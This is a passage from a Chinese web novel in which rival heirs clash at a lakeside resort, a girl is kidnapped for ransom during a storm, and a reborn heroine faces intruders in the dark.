沈眠枝,“顾家不过就是标了块地,真正砸钱的是西湾蓝家,在这个项目蓝家前前后后投了2.5个亿,原本去年酒店就要开业了,但当时邀请的顾客反应体验感不好,酒店又重新扩建了马场、狙击场和酒庄。” 傅绥尔咦了一声,“你怎么知道?” “我不光知道这个,我还知道蓝家在这个项目不要命的砸钱,根本不是商人行为。商人重利只关心客人的钱流向了谁的口袋?可蓝家却生怕怠慢了贵客,不计成本。” 傅绥尔恍然,“蓝家这是想打造新一代的名利场,野心不小啊。” 沈眠枝笑了笑,“怎么样?现在还生气我跟她们一起吃下午茶吗?” 傅绥尔表情微愣,有些不好意思,“我可没生气,我一直都是支持你去外面交朋友的,是不是啊衫衫?” 姜花衫从出来就一直昏昏欲睡,敷衍摆摆手,“是啊,你就大发雷霆地抱怨了一句。” 傅绥尔,“……” 沈眠枝自然不会真计较这些,隔着窗户看了看,“马上快到了。” 说话间的功夫,眼前山势大开,泛着金色波光的湖景率先映入眼帘。 碧蓝的天幕下,度假山庄拔地而起,整排建筑绕湖心而建,雕梁画栋、鳞次栉比、浓彩重饰颇有盛唐古韵。 此时,山庄前排已经停满了各式豪车,沈兰晞率先下车。 其他人相跟上,傅绥尔无意做了个遮挡太阳的动作,身边的工作人员连忙打开遮阳伞,姜花衫若无其事戴上自己的渔夫帽。 酒店经理得了指示早早守在门口接待,认出沈家众人立马堆着笑小跑上前。 “各位贵客一路辛苦,这边请,行李会有工作人员给各位送去房间。” 傅绥尔瞥了一眼扎堆的豪车,“嚯,来了不少人。” 沈眠枝早就看见了那辆招摇的黑车,转头笑了笑,小声道,“要不怎么说野心大?” 一行人从酒店大堂穿过,一望无际的绿色草坪上砌了一方天池,绵延起伏的树冠下折射着艳阳浮影。 不得不说,蓝家为了笼络鲸港的权贵还是下了一番苦心。 眼前这返璞归真的绿意生机与灼灼夏日倒是绝配,含着金汤钥匙长大的富贵少爷和小姐什么人间奢华没见过,出其不意效果反而更好。 穿过前坪,阁楼回廊平地而起,此时一群人有说有笑从廊桥那边走了过来。 顾玉珠远远看见沈眠枝热情招手,三步并两步窜进人群,撞开傅绥尔一把挽住沈眠枝的胳膊。 “你怎么才来,我们正商量要去滑雪,一起啊。” 傅绥尔白了顾玉珠一眼,拉着姜花衫靠边站。 沈眠枝礼貌笑了笑,“不了,我们刚来想先去休息一下。” “来嘛来嘛,我们战队都分好了。”说着转头看向沈兰晞,“兰晞哥也一起吧,余笙她们那边有阿珩哥,你要不来我们队输定了。” 原本她是想求沈清予的,但一想到沈清予前几天的态度又拉不下脸,只好拜托沈兰晞。 “阿珠!!” 姐妹团的女生们见顾玉珠与沈家少爷搭上了话,一脸兴奋都围了上来。 蓝黛小心看了沈清予一眼,柔声道,“你们还没看过房间吧?要不要先去休息一下?” “房间都那样,还是别看了,先去比赛吧。” “是啊是啊,后面还有大把的时间。” 苏韵站在人群外,目光清浅落在沈兰晞的侧脸上,当年小巷的抱花少年真的惊艳了她的整个少女时代。 两年时间,她已经适应了苏家大小姐的身份,不仅结交到了身份匹配的朋友,还以优异的成绩考入了军政学府,她与抱花少年的距离终于不再是天斩鸿沟了。 姜花衫摸了摸帽檐,目光在蓝黛和苏韵之间游弋了一圈后又转回自己的指尖。 “哟!我说怎么这么热闹,这不是咱们的少年英雄一星准尉吗?” 莺莺燕燕的声音里忽然响起一声刺耳的男声,话音刚落,廊桥下迎面走来一群男男女女。 周宴珩脸上挂着漫不经心的笑,眼神往人群里扫了一圈,最后落在沈归灵身上,“长官。” 他一起头,身后几个男生懒懒散散跟着敬礼,“长官好。” 关鹤吊儿郎当靠着周宴珩的肩膀,目光不善盯着沈归灵上下打量,“还以为沈长官忙着拿命赚军功一刻不得闲,没想到还有心情来度假?” 这话火药味十足,惹得围观的人顿时噤声不语。 傅绥尔凑近姜花衫,附耳小声说道,“这次校考,阿灵哥抽到和周宴珩他们组队完成模拟考,因为阿灵哥出去执行任务所以一直没有参与小组讨论,听说临交卷的前三分钟,阿灵哥改了周宴珩的小组报告。” 姜花衫双手抱胸,“为什么?周宴珩没加他名字?” 傅绥尔愣了愣,“不是,阿灵哥改完以后得了全场最佳,周宴珩、关鹤他们几个还赚了五军分。” 这就难怪了,周宴珩这么自负的人,哪能容得下别人踩着他的头往上爬。 说起来沈归灵也很奇怪,那么八面玲珑的人怎么会做这种事? 姜花衫,“这事你怎么知道的?” 傅绥尔咧嘴一笑,“军政学府的新生群都传遍了,现在大家都对阿灵哥崇拜地不得了,三分钟就秒了周宴珩团队一个月的成果。” “最好笑的是,关鹤还在群里澄清说那份报告是周宴珩利用午休的时间随便写的,后来事情传到导员那,学校以学习态度不端正为由又把周宴珩他们小组军分扣了回去,听说连暑假都取消了。” 姜花衫:“……” …… 第375章 下马威 “嚷什么嚷?一天到晚就知道狗吠。” 出门在外,沈家人就是一条线,没等沈归灵回话,沈清予率先开麦。 “一群人干不过一个傻逼还有脸了?我TM要是你们出门都得戴个面罩,免得被人认出来丢了老祖宗的脸!” 关鹤翻着白眼斜睨沈清予,“有你什么事?” 还没开始怎么就剑拔弩张了? 蓝黛生怕两人一言不合打起来,她人卑言轻只能求助看向顾玉珠。 顾玉珠摇了摇头表示爱莫能助,蓝黛又转头看向苏韵,苏韵犹豫片刻,选择了沉默。 “咦?大家怎么都在这?不是说去滑雪吗?” 这时,人群外适时响起一阵轻快的女声。 余笙背着黑色的滑雪板,一脸笑意走进人群,她仿若对大家的火药味一无所知,略带俏皮与沈归灵打招呼,“长官好。” 她也是军政学府的学生,这声长官好相比关鹤显得有诚意得多。 自从傅家落马后,余家抓准时机跻身成了鲸港新贵,随着余斯文连任成功,余笙这位总统千金水涨船高迅速在千金圈崛起,与她交好的女生大多都是政府高官家的小姐。 余笙在官家圈子很有信服力,高官小姐们基本都以她马首是瞻,众人见她丝毫不掩饰与沈归灵亲近,便也帮着一起说话。 “刚刚不是说要比赛吗?现在人到齐了我们赶紧过去吧?” “关鹤哥,你刚刚可说好了要带我们飞的,不许耍赖。” 原本是递台阶的话,关鹤却不领情,冷冷笑了笑,“要玩你们玩,老子看这种人晦气现在没心情。” 这一句话落了所有人的面子,女生们脸色也不太好看。 这两年关家势头猛,连升两人入国会,其中关鹤的父亲关楼已经被委任为副议员长,关楼与沈谦政治立场对立,两人一直都是面和心不和。 两年以后议员长竞选,关楼会是个难缠的对手。 关鹤敢对沈归灵这么不客气,也正是有此依仗,毕竟他是关家名正言顺的孩子,沈归灵这种半路出来的私生子在这些正房少爷面前根本不够看。 余笙脸上的笑容淡了几分,正要开口,一道火药味十足的声音捷足先登。 “觉得晦气就去死,在这碍什么眼!” 这话一落,全场静音,目光刷刷看向人群里穿着青衫长裙的少女。 关鹤愣了愣,待看见回话的是谁后表情立马变得有些复杂。 姜花衫双手抱胸,抬着下巴打量关鹤,“就说你了,怎么了?从见面开始就唧唧歪歪,输出全靠一张嘴,怎么?你是打算从度个军官文凭去直播卖货吗?后面那一群小丑就是给你摇旗呐喊的场控?” 身后小丑,“……” 关鹤刚张口,姜花衫转头看向人群中央的周宴珩,“投资的都是些什么歪瓜裂枣?一点眼光都没有。” 关鹤表情僵住,回头看向周宴珩,周宴珩笑了笑,“火气这么大?” 姜花衫冷笑,能不火气大吗?她刚刚骂人的时候都血崩了。 沈归灵抬眸看向她,姜花衫撩着眼皮接住他的目光。 看什么看?被骂也不知道回嘴,怂货。 沈归灵笑了笑,转头看向周宴珩,“对面全体都有,原地俯卧撑一千个。” 周宴珩浮于表面的笑容骤然散去,眸光透着锐气。 在军政学府军阶长官的命令高于一切,由于末考失利他们整个小组被取消了假期现在还在执行期,执行期必须无条件听从长官指令,若无故违抗会被学校勒令退学。 关鹤看了周宴珩一眼,“草你……” “阿鹤。” 周宴珩把人拽了回来,撩眸看了姜花衫一眼,低头将黑色衣角塞进裤腰,蹲身撑地。 “阿珩……” 关鹤气得牙痒痒,但周宴珩都低头了他再气也只能咽下,狠狠瞪了沈归灵一眼蹲身照做,另外几名军政学府的学生早在看情况不妙时就已经做好了准备。 一时间场面格外诡异。 廊桥下,此起彼伏的身影上上下下。 沈兰晞转头看向目瞪口呆的经理,“房间在哪?” 经理这才神魂归未,笑得更加谦卑,“这边请。” “诶?”顾玉珠还想问比赛的事,可看见起起伏伏的身影立马歇了心思。 这还比什么?但是沈归灵一个指令让他们调头比赛就结束了。 沈归灵敢让周宴珩当众做一千俯卧撑,但现场没人敢留下看这出好戏,等沈家人走远,剩余众人也不敢在原地逗留,赶紧逃离是非之地。 “快走快走!阿珩哥可不是好惹的,可别让他记恨上我们了。” 顾玉珠拽着蓝黛往化学场方向去,蓝黛一脸忧虑频频往桥下回顾。 这可怎么办?原本把这些少爷小姐请来是联络感情的,现在闹这么一出接下来的几天怎么过?蓝家势微,可抵不了周家一怒。 “还得是姜花衫,要不是她拱火,阿灵哥也不会这么不留情面。”顾玉珠啧啧摇头,拉了拉蓝黛的胳膊,“我说什么来着?她可不好惹。” 苏韵脸色微凝,是她的错觉吗?她怎么感觉沈兰晞很在意姜花衫。 他看向她的眼神格外专注,姜花衫和别人说话时,他眼梢会莫名往下沉。 蓝黛轻叹了一声,“也不知周少爷会怎么想?” 顾玉珠,“姜花衫的锅呗,不过她有沈老爷子护着,阿珩哥也拿她没办法。” 蓝黛苦笑,一句话就毁了别人半年经营,鲸港这名利场果真不好进。 另一边。 高官千金围着余笙七嘴八舌议论不休。 “我天!我一直以为沈归灵是小白脸来着,没想到这么爷们。” “听说他去年给其他大学当新生教官,当时十个年年一半的女生都告白过,全被拒绝了,大家都说他喜欢男人。” “那可不行,长这么帅不能便宜男人!” 余笙哭笑不得,“好啦~别胡说八道了。” 女生们围着余笙打量,打趣道,“还是我们笙笙眼光好,听说你和沈归灵可是青梅竹马的情分。” 余笙淡淡笑了笑,青梅竹马算不上,但患难之交勉强够格。 …… 第376章 团宠 酒店给沈家少爷小姐安排的是一栋独立庭院,四合院制,东西两厢是公共主厅和娱乐区,南北对线不多不少刚刚六间房。 园中布局雅致,满园梨花,虽然时下已经错过了梨花最繁盛的时期,但那股独特的梨花清香还是给整座园子增添了一抹余韵。 女生们选了靠近湖泊的南厢房,原本姜花衫的房间在中间,傅绥尔的在走廊左边,但因为行李太多工作人员弄错了房间,两人都不在意便顺势换了个房间。 姜花衫不喜欢粘腻的感觉,回到房间立马洗了个热水澡,刚换好衣服出来门外就响起了门铃声。 她以为是傅绥尔,便也没在意,用浴巾包好打湿的头发,趿拉着乌龟拖鞋走到门口。 “怎么……” 蓝黛正欲再敲门,房门突然打开,冷不丁撞上一张素颜倾城的脸,呆愣着没有反应过来。 姜花衫也愣了愣,收回无精打采的腔调,“有什么事吗?” 蓝黛盯着她的脸,一阵恍惚,“姜小姐,你美的跟天仙一样,真的好漂亮。” 没有女生不喜欢被人夸漂亮,尤其是当对方露出这么沉迷的表情,但前提是这个人不曾带着怜悯的表情从你身上跨过去。 姜花衫礼貌笑了笑,“谢谢。” 蓝黛等了一会儿,见没有下文,脸上的笑容微微有些僵硬。 但她很快意识到不妥,撩了撩耳朵旁边的碎发,主动开口,“姜小姐,是这样的,晚上酒店想组织一场联欢聚会,我们正在商量要弄个什么主题?现在就差你了。” 姜花衫偏头往东厢看去,“我们?” “是啊。清予哥和枝枝他们都在。”蓝黛小心翼翼试探,“姜小姐,既然大家都一起出来玩了,开心最重要,你说是不是?” 姜花衫点头,“说的是。” 蓝黛笑了笑,往后退了一步,态度十分友好,“那我们也赶紧过去吧?大家已经等了很久了。” “……” 见姜花衫不接话,蓝黛眼露窘色,“不好意思,我没有别的意思,半个小时之前我来找过你,但你没有回应,所以我们就先去主厅了。” “……” 要是这样时候她还看不清蓝黛是只绿茶,那之前那些教训就算白受了。 姜花衫扯着嘴角笑了笑,再抬眸时眼里多了几分盛气凌人,“知道了,你先去吧,我头发还没干呢,等干了再去。” 蓝黛一愣,“可是我们……” “那就麻烦你跟他们说,我要吹头发,等的了就等,等不了就不用等了。” 蓝黛勉强笑了笑,“好,我知道了。” “等等。”姜花衫忽然想到什么,略带玩味,“记得说原话,不要添油加醋哦~” 说罢,撩着眼皮关上了门。 蓝黛嘴角的笑容顿然凝固,眼神黯了黯转身走进回廊。 正厅那边,顾玉珠正缠着沈清予,沈兰晞坐在窗下,单手托腮看着窗外的梨花,沈归灵安静坐在沙发上看手机,沈眠枝和苏韵在说话,傅绥尔站在门厅外张望。 蓝黛从北廊进厅,众人不约而同看了过来。 顾玉珠起身,见她身后空无一人,神经大条嚷道,“姜花衫呢?她还没洗完?她洗什么洗这么久?” 蓝黛笑着进厅,“姜小姐说她头发还没干,等吹干了头发再过来。” 原以为顾玉珠会生气,但她一点没在意,摆摆手看向大家,“她要吹头发也没办法,要不就不等她了,反正都是少数服从多数,到时候告诉她结果就行了。” 沈归灵放下手机,眼神温和,“蓝小姐,你有没有告诉衫衫我们都在等她?” 蓝黛一愣,原本她是等着顾玉珠提问然后再故意把姜花衫的话抛出来,可顾玉珠却轻描淡写揭过去了,她还想着怎么把话题带回姜花衫身上,没想到沈家少爷竟然主动抛来橄榄枝。 她犹豫片刻,点头,“我提了,姜小姐说大家愿意等就等,不愿意等我们可以先商量。” 说这话时她特意留了心眼,尽量逐字还原。 蓝黛倒不是真想跟姜花衫作对,实在是蓝家好不容易等来这场富贵局的入场券,不容有失。 眼下局面这么难看只怕顾家要怀疑蓝家有没有入场的资格,所以家里让她必须找个人背下这口锅。 恰巧顾玉珠无意间的一句话提醒了她,姜花衫有沈老爷子护着,就连周宴珩也奈她不何。 再加上她细细观察过,姜花衫我行我素,贵女们都说她是鲸港嚣张跋扈第一人,若是由她挑起了众人不和,这些少爷小姐背后的家族也只会忍气吞声不至于迁怒蓝家。 原本她自诩聪明,自信可以在不得罪姜花衫的情况下引导她助力自己的计划,可刚刚姜花衫含沙射影的嘲讽让她突然意识到这位大小姐并不好惹。 回来的路上,她越想越不对劲,姜花衫不是顾玉珠,她不过一个养女却能得老爷子如此看重,心思定然不简单,她不该这么轻敌的。 若是顾玉珠不接话她并不打算强说,但有人主动递梯子,她还是得再争一争。 蓝黛话音一落,沈家所有人的目光都落在了她的身上,就连沈兰晞都偏头看了过来。 “怎么了?” 她顿时感觉到了一股无形的压力,扯着嘴角看向大家。 苏韵也察觉到了气氛不对,略有不解低头思索。 顾玉珠反射弧最慢,丝毫感觉不到气氛古怪,拿出手机大大咧咧说道,“余笙她们那边定了几个主题,泳池派对、夜跑狂欢、还有阵营对战,大家有什么想法吗?” “都没想法吗?清予哥?” 沈清予勾手摸了摸耳朵,“没兴趣。” 当初愿意来参加这傻逼聚会也是看着老太太的面子,再多的配合可就没有了。 顾玉珠转头看向沈眠枝,偷偷使眼色,“枝枝,你说呢?” 沈眠枝淡淡笑了笑,“我觉得既然是出来度假,还是怎么轻松怎么来吧,人多不好统一,我就不参加了。” “可是……” 顾玉珠还想劝说,苏韵起身拉住她,目光无意扫向沈兰晞,“枝枝说的没错,既然有主意了我们先去找余笙她们商量吧?” 蓝黛跟着附和,“其实这样也挺好的,大家开心最重要。” 顾玉珠原本还想拉着沈清予和沈眠枝一块玩,但见对方无意也只好作罢。 三人前脚刚出了梨园,姜花衫后脚就踏进了主厅,屋里的人不约而同看向她。 姜花衫目光一愣,左右看了看,“咦?都走了?” 傅绥尔跑上前挽着她的手,“是啊,讨厌鬼都走了,我们总算可以自己玩自己的了。” 姜花衫想了想,“我刚刚看见梨园后面有块好大的草坪,我们晚上去那露营看星星怎么样?” 傅绥尔立马拍手附和,“你别说,今晚好像正好有流星雨。” 沈眠枝笑着看向沈兰晞,“兰晞哥?” 沈兰晞看了姜花衫一眼,“高止会安排。” 沈清予摸了摸下巴,看星星?去看看有多无聊。 沈归灵扯了扯嘴角,继续低头看手机。 …… 第377章 过去、未来、转折 从梨园出来,顾玉珠三人又赶去和余笙汇合,出乎意料的是,周宴珩那边对聚会也没有半点兴趣,余笙直接吃了闭门羹。 这么看来,缓和关系是不可能的了。 一行人沿着湖岸回房间,正好看见高止带着墨镜指挥工作人员布场,圈子里的人都知道高止是沈兰晞的随身保镖,自然也就明白是沈兰晞授意的。 蓝黛看了顾玉珠一眼,故作无意说道,“他们这是要露营吗?看来大家是真想各玩各的。” 顾玉珠原本就对沈清予不帮她说话颇有微词,眼见他前脚说没兴趣后脚就跟着来宿营,气得脸都涨紫了,转身往桥廊下跑去。 “阿珠,你去哪?!” 蓝黛一脸担忧,正要跟上前,苏韵连忙拉住她。 “看样子是去找沈清予闹脾气去了,这事我们还是不要掺和了,等阿珠回来再劝劝她。” “可是……”蓝黛还是有些不放心。 苏韵温声解释,“放心吧,阿珠又不是小孩子,难不成还会走丢?” 蓝黛微微有些愧色,“都怪我,刚刚不该多嘴的。” 苏韵笑了笑没有回应。 一旁的余笙更是不语。 当初她不喜欢与这些老派千金交往就是这个原因,占着家里的祖荫不思进取,只知道用些不入流的下等伎俩,在她看来这些算计都拙劣的很。 * 夜幕降临,没有钢筋水泥的遮挡,繁星像被人用细砂打磨过一般,每一颗都亮得耀眼。 它们汇聚成星海、银河从光年之外降临人间。 青草在夏风中徜徉,姜花衫倒头扎进绿色的大地,突然有感而发,“你们知道吗?距离我们最近的一颗星星走了四万年才让我们看见,现在我们仰头看见的所有星光都是过去的时空。” 沈眠枝闭眼,感受微风轻轻拂过脸颊,“所以,我们现在在与过去约会。” 傅绥尔双手托腮,“好浪漫啊,除了星星,这个世界上还有什么是与过去同时存在的?” 姜花衫笑了笑,闭上眼睛,“还有我啊。” 她是过去的姜花衫,因为擅闯剧目之门所以遇见了现在的大家。 他们现在看见的她,就跟眼前的星星一样,她走了好远,他们正好仰头,然后在恰逢其时里相遇了。 沈清予正蹲在地上布置夜灯,沈归灵在餐桌前准备食物,沈兰晞坐在椅子上看书,闻言,三人同时一愣,抬眸看向草地里的身影。 傅绥尔跟着倒向草地,侧头看着她,咧嘴一笑。 只有她明白姜花衫这句‘还有我’有多珍贵,十三岁从天而降的神明,改变了她的人生又救赎了她的妈妈。 但这些都是不能宣之于口的秘密。 沈清予将灯饰串好,打开电源,霎时整个草地都落满了暖白的星光,一时亮过了天上的光景。 沈归灵将餐盘依次配列整齐,点上香氛蜡烛,“可以吃了。” 沈兰晞合上书,起身经过姜花衫时淡淡扫了一眼又高冷越过。 “……” 姜花衫只觉莫名其妙,爬起身拍了拍屁股,想着晚上要露营,她特别换了套黑色的运动服。 酒店准备的菜色很丰富,光闻着就让人食欲大开。 六人一起入席,对立而坐。 傅绥尔主动端起眼前的果酒,“兄弟姐妹们,我们一起走一个吧!希望我们以后不管走到哪里,都能记得今晚的相遇。” 或许未来他们会因为命运交织面临不同的抉择,但此刻,他们就是最好的家人。 沈归灵只问了蓝黛一句,衫衫知道我们在等她吗?所有人都明白了这话里的弦外之音。 姜花衫虽然任性,但不至于对家人没有交待,所以一定是蓝黛惹她不高兴了,对于这一点他们出奇的有默契,且一致选择了毫无理由偏帮。 蓝黛不懂为何那一瞬间她吸引了沈家所有人的火力,因为她不懂沈家人。 大家一起端杯,冒着气泡的液体沿着杯壁旋转。 “清予哥!” 忽然,一道焦急女音打破了眼前这一切。 蓝黛气喘吁吁跑进草地,苏韵慢她一步,但神色也十分难看。 沈清予皱眉,“瞎喊什么?” 当初是看在老太太面子上他才懒得计较,真喊上瘾了? 蓝黛一把拽着他,四处看了看,“阿珠呢?她跟你们在一块吗?” 沈清予一把甩开蓝黛的手,“她没在这。” “……”蓝黛脸色霎时血色全无,神情恍惚往后退了几步,喃喃自语,“完了。” 沈清予这才察觉到不对劲,神色凝重,“什么完了,出什么事了?” 苏韵往前一步,递上一张巴掌大的便签纸。 “下午我们回房间的时候,路上遇见工作人员在布置草地,阿珠生气跑了,我们以为她是来找你也就没有放在心上。刚刚我们去她房间找人,发现门没锁,床头放着这张纸条。” 闻言,姜花衫神色也凝重起来,起身看向苏韵,“上面写了什么?” 沈清予接过纸条,眸光冷沉。 -【人在我手里,准备赎金,不然等着给她收尸。】 蓝黛捂脸哭了起来,“都怪我不好,我应该跟着她的,现在怎么办?阿珠会不会出事啊?” 顾玉珠如果在山庄出事,第一个遭殃的就是蓝家。 姜花衫指尖微颤,不动声色坐了回去。 论惊吓,现在没有人比得过她。 上一世震惊世界的屠杀门,第一个被绑架撕票的就是顾玉珠。 难道是那群海寇提前登岸了? …… 第378章 暗流涌动 得知顾玉珠失踪,众人都慌了神,齐聚酒店大堂准备撤离。 就在一切准备就绪时,星河退散雷电暴动,夜幕上空忽然落下倾盆大雨,雨势连成漫天水帘倾泻而下,庭院残存的梨花被打的七零八落,所有植被都不敢抬头。 大堂内鸦雀无声,噼里啪啦的暴雨将人们内心的恐惧渲染到了极致。 经理挂了电话,匆匆跑进人群对着众人鞠躬致歉。 “刚刚的暴雷把附近的信号塔劈坏了,只怕明天雨势停了才能修好。天气恶劣,附近又都是大湖山坡,不出半个小时水面就会抬高,这个时候驾车出去太危险了,还请大家等明天雨停了再走。” “那还等到什么时候?现在酒店里有绑匪,我们不回去难不成留在这等着被撕票吗?” “我不管,我现在就要走,谁拦都没用。” “对!我们现在就要走!” 这些贵女在家里都是千娇百宠,遇上绑架这种事只觉天都塌了,个个都乱了阵脚。 蓝黛眼见情况不妙,好言安抚,“大家先别急,现在绑匪是什么情况?有几个人?我们都不知道,千万别自乱阵脚。这天气反常,开车反而会更……” “你闭嘴!”与余笙交好的女生直接上手推了蓝黛一把,“这酒店是你们家开的,现在出这种事你还有脸让我们冷静?” “就是,出这么大的事你还不让我们走,别不是跟那些绑匪是一伙的吧?” 这次聚会是顾家牵头,但现在顾玉珠被抓,众人顺理成章把所有的怒火都转移到了蓝黛身上。 蓝黛心知自己身份不足以犯众怒,咬唇看向苏韵,希望她能帮自己说说话。 苏韵犹豫了片刻,选择了沉默。 经历过赵棠的事,她已经颠覆了对朋友的认知,只以利相交,绝不交心。 酒店经理是蓝家的人,见自家大小姐受委屈连忙帮着说话,“诸位请放心,我们酒店有安防系统,只要安全度过今晚,等明天雨势小了,大家就可以安全离开了。” 说着目光落在沈兰晞和周宴珩身上,“请大家相信,我们酒店一定会想办法保证大家的安全的。” 周宴珩,“大雨留客,胡经理都这么说了,就再等一夜吧。” 女生们听罢,神情惶恐不安。 “阿珩哥,真要留下来吗?万一绑匪继续作恶怎么办?” “阿珩哥,我们能不能今晚去你的院子?” 周宴珩这次出来带了六个男生,他们都是军政学院的学生,女生们自觉投靠他比较稳妥纷纷主动央求。 “可以。”周宴珩笑了笑,好似很有人情味。 苏韵眸光微黯,只有她知道眼前这个男人有多恶劣,思忖片刻,她鼓起勇气看向沈兰晞,“沈兰晞,我能去你们那吗?” 沈兰晞抬眸,目光清冷落在苏韵身上。 别人都叫他沈少爷,但苏韵称呼的是他的名字。 不等沈兰晞回答,余笙立马接过话,“我们这么多人,周少那边只怕看顾不过来,为了安全起见女生们分两边落脚,你们觉得怎么样?” 说话时,她先扫了沈归灵一眼才转头征求沈兰晞的意见。 “好。这主意好。” 女生们纷纷响应,相比起苏韵,余笙的格局立见高下。 姜花衫坐在沙发角落,一言不发观察所有人的反应。 “少爷。” 这时,高止穿着黑色冲锋衣大步迈进人群,他全身都被雨水打湿了,眼神肃杀如出鞘利刃。 “信号不是被雷电中断的,而是有人故意破坏。” 这话一出,女生们吓的两股颤颤。 经理也是一脸懵逼,“怎么可能?” “继续说。”沈兰晞神色如常,仿佛早就预料到了这样的结果。 高止,“雨势太大,附近山势开垦过度地基不稳,极易出现山体滑坡,再加上现在周围湖泊水面已经越过了路基,现在回港危险反而更大。” 沈兰晞扫了胡经理一眼,看来经理没有说谎。 “那怎么办?绑匪故意破坏信号就是不想我们报警。” “信号房怎么会这么轻易就被破坏,一定是酒店里的人跟绑匪里应外合。” 众人彻底慌了神,议论不休。 “喂喂!”关鹤站起身,做了个噤声的手势,“事已至此抱怨也解决不了问题,我认为我们现在的重点应该放在怎么安全度过今晚,毕竟谁也不知道绑匪的下一个目标会是谁?” 这话一出,气氛再次降到冰点,胆子小的女生直接哭了出来。 这个时候还故意制造恐慌,是不是有病? 姜花衫眼露鄙夷打量关鹤,转眸时恰好与周宴珩对上。 周宴珩淡淡笑了笑,原以为姜花衫会像往常一样,给他一个白眼然后再无视,可她一反常态,眼神摄的凶光一瞬不瞬看着他,那眉目很抓人,像勾子可以勾出他心底的恶念。 “……” 就在姜花衫看的入神时,沈清予眼皮都没抬一把拽着她的马尾,姜花衫嘶了一声,沈清予脸侧了过来,又懒又凶,“看什么?” 姜花衫瞪着他,“看傻逼。” 沈清予一乐,松开手,“不许看。” 蓝黛默不作声看着沙发角落的互动,这边风声鹤唳他们竟然还有心思玩闹。 关鹤说完等了一会儿气氛忽然沉默,他愣了愣转头看向周宴珩,周宴珩冷冷看了沈清予一眼,才接过话,“发生这种事谁也不想,愿意相信我的人就跟我走,不愿意的自行选择。” 余笙和苏韵立马转头看向沈兰晞。 沈兰晞神情淡淡,“为了安全起见,今晚可能要辛苦大家挤一挤了。” 这个时候如果置众人危机于不顾,有损沈家名誉,沈兰晞只是不喜欢权衡算计,但并不代表他不会。 女生们这才心安了一点,各自为营重回酒店。 风雷交加,雨势丝毫没有停下来的意思, 回到梨园,沈兰晞将所有人安置在主厅,留下沈归灵照看众人,自己则带着沈清予和高止去了隔壁娱乐间议事。 余笙纵观全局,转头看见角落里的沈归灵。 虽然这期间沈归灵一句话都没有说,对于沈归灵的安排他也只是服从,好像一直都是这样,只要有沈兰晞在的场合,沈归灵都是会收敛自己的光芒为太子爷让路,就连她的父亲都不止一次称赞沈归灵是个天才,但也不止一次惋惜他只是个私生子。 明明自己的才能不输任何人,却要蜷缩在角落仰人鼻息。 余笙思忖片刻,主动上前寒暄,“你的伤好些了吗?” …… 第379章 嘘!危险心动值 大厅里的女生大约有七八个,都是与余笙关系好的高官团,此刻阴霾未散,所有人的情绪都不高,相互依偎交头接耳。 苏韵和蓝黛是唯一的贵族团成员,两人作伴挨着沈眠枝。 姜花衫和傅绥尔趴在窗台看雨,万千雨针哗然垂落,这一幕让她们想起了十三岁那场大雨。 余笙落落大方上前问候,几乎所有人都愣了愣。 沈归灵指尖一顿,抬眸看着她,似有些不解她为什么这么问。 余笙,“听长官们说,肺部感染有可能会落下终身咳疾。” 当初余笙和沈归灵都在南海舰队执行任务,沈归灵拒绝召回,她是唯一一个支持他的人,所有人都不理解如沈归灵这样的人为什么还要拿命去赚军功,只有她看到了他文雅皮囊的锐气,临行前她曾鼓励沈归灵不管再艰难都一定要活着回来,最后,沈归灵也的确遵守了他们之间的承诺。 因着这份默契,余笙自信,就算沈归灵现在不喜欢她,在他没有喜欢的人之前,她跟其他人一定是有区别的。 沈归灵眼梢下沉,笑容温和,“多谢关心。” 余笙点点头,侧身看了看庭外,面露忧愁,“也不知道顾小姐现在怎么样了?绑匪到底有什么目的?” 沈归灵没有接话,继续低头看手机。 余笙愣了愣,随即反应过来,沈归灵不愿意展露锋芒。 大雨滂沱,溅落在窗台。 姜花衫有些不适站起身,血量告急,必须回房清理。 这边屁股刚离开椅子,沈归灵就跟头顶长了双眼睛似的,抬头看着她,“去哪?” 他这么一问,大家都目光都跟了过去。 “……”姜花衫指了指房间,“我回房拿个东西。” 女生们现在犹如惊弓之鸟,听闻姜花衫还打算独自行动,余笙立马劝道,“还是别去了,现在不知道什么情况,不安全。” “是啊,这个时候大家还是不要走散比较好。”高官团的女生也跟着规劝。 说这话的时候大家态度还算平和,并没有什么恶意。 姜花衫表情微妙,正好说话,沈归灵直接起身,“走吧。” 余笙再次愣住,有些意外看着沈归灵。 沈归灵丝毫不在意其他人的眼神,率先走到门口,偏头看着姜花衫。 傅绥尔跟着起身,姜花衫压着她的肩膀把人推了回去,“你留在这。” * 窗纱漫过窗台在狂风暴雨中东倒西歪,雷声惊蛰仿佛要将天都劈开。 “哗——” 水流卷起虹吸,将刺目的红色拉进黑洞。 姜花衫低头摸了摸腹部,偏偏这个时候肚子又痛起来了。 她轻叹了一声,拧开龙头,一边洗手一边看着镜子里的自己。 也不知是不是生死经历的太多了,以至于她现在已经感受不到害怕了,反而有种与剧目搏斗的跃跃欲试的兴奋。 擦干净指尖,她深吸了一口气,拧开把手推门走出卫生间。 沈归灵正看着窗台看雷雨,听见声音立马转过头,“好了?” 姜花衫点头,“我们走吧。” 沈归灵靠着窗台没有动,“你要不要睡会儿?” 姜花衫愣了愣,她虽然不怕,但还没心大到可以安然入睡。 “还是算了……” “轰——” 突然,一声惊雷乍破天惊,窗外半边夜幕被雷电划分成了两半。 眼前灯光骤灭,屋内陷入一片漆黑。 “啊!!!” 这时,走廊外传来此起彼伏的尖叫声。 “沈……” 姜花衫慢了一拍才反应过来,正要开口,窗台边的人影不知什么时候突然走到了她面前,他的气息忽然包裹而来,温热的指腹抵着她微涨的唇。 “嘘……” 第380章 想亲 雷雨声在这一刻静止。 姜花衫用了狠劲,这一口除了痛还有痒,就像有一万只蚂蚁在身上爬。 这种感觉太熟悉了,他曾在小黑屋经历过无数次。 沈归灵撩着眼睑,耳尖的红晕不知什么时候转移在了眼尾,他低着头,眼神透着凶光一点都不温柔。 此时,歹徒已经从小厅摸到了卧室,他们似乎也有所顾虑,拿着手电筒翻找得很小心。 姜花衫原以为她这一口下去,沈归灵不说疼的嗷嗷叫,怎么也会乖乖松手,可他却一点反应都没有? 怎么回事? 这乌龟又想耍什么花样? 她心里犯起了嘀咕,抬头想看看怎么回事。 就在她抬头的瞬间,覆在脸上的手掌忽然下移固定住她的下颚,头顶压下一片阴翳挡住了她所有的视线。 虽然眼睛看不清,但她还是感觉到了一股喷薄潮热的气息正在向她靠近。 沈龟灵疯了? 现在什么情况,他不知道吗?! 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.9999999999999999999999999999999999%】 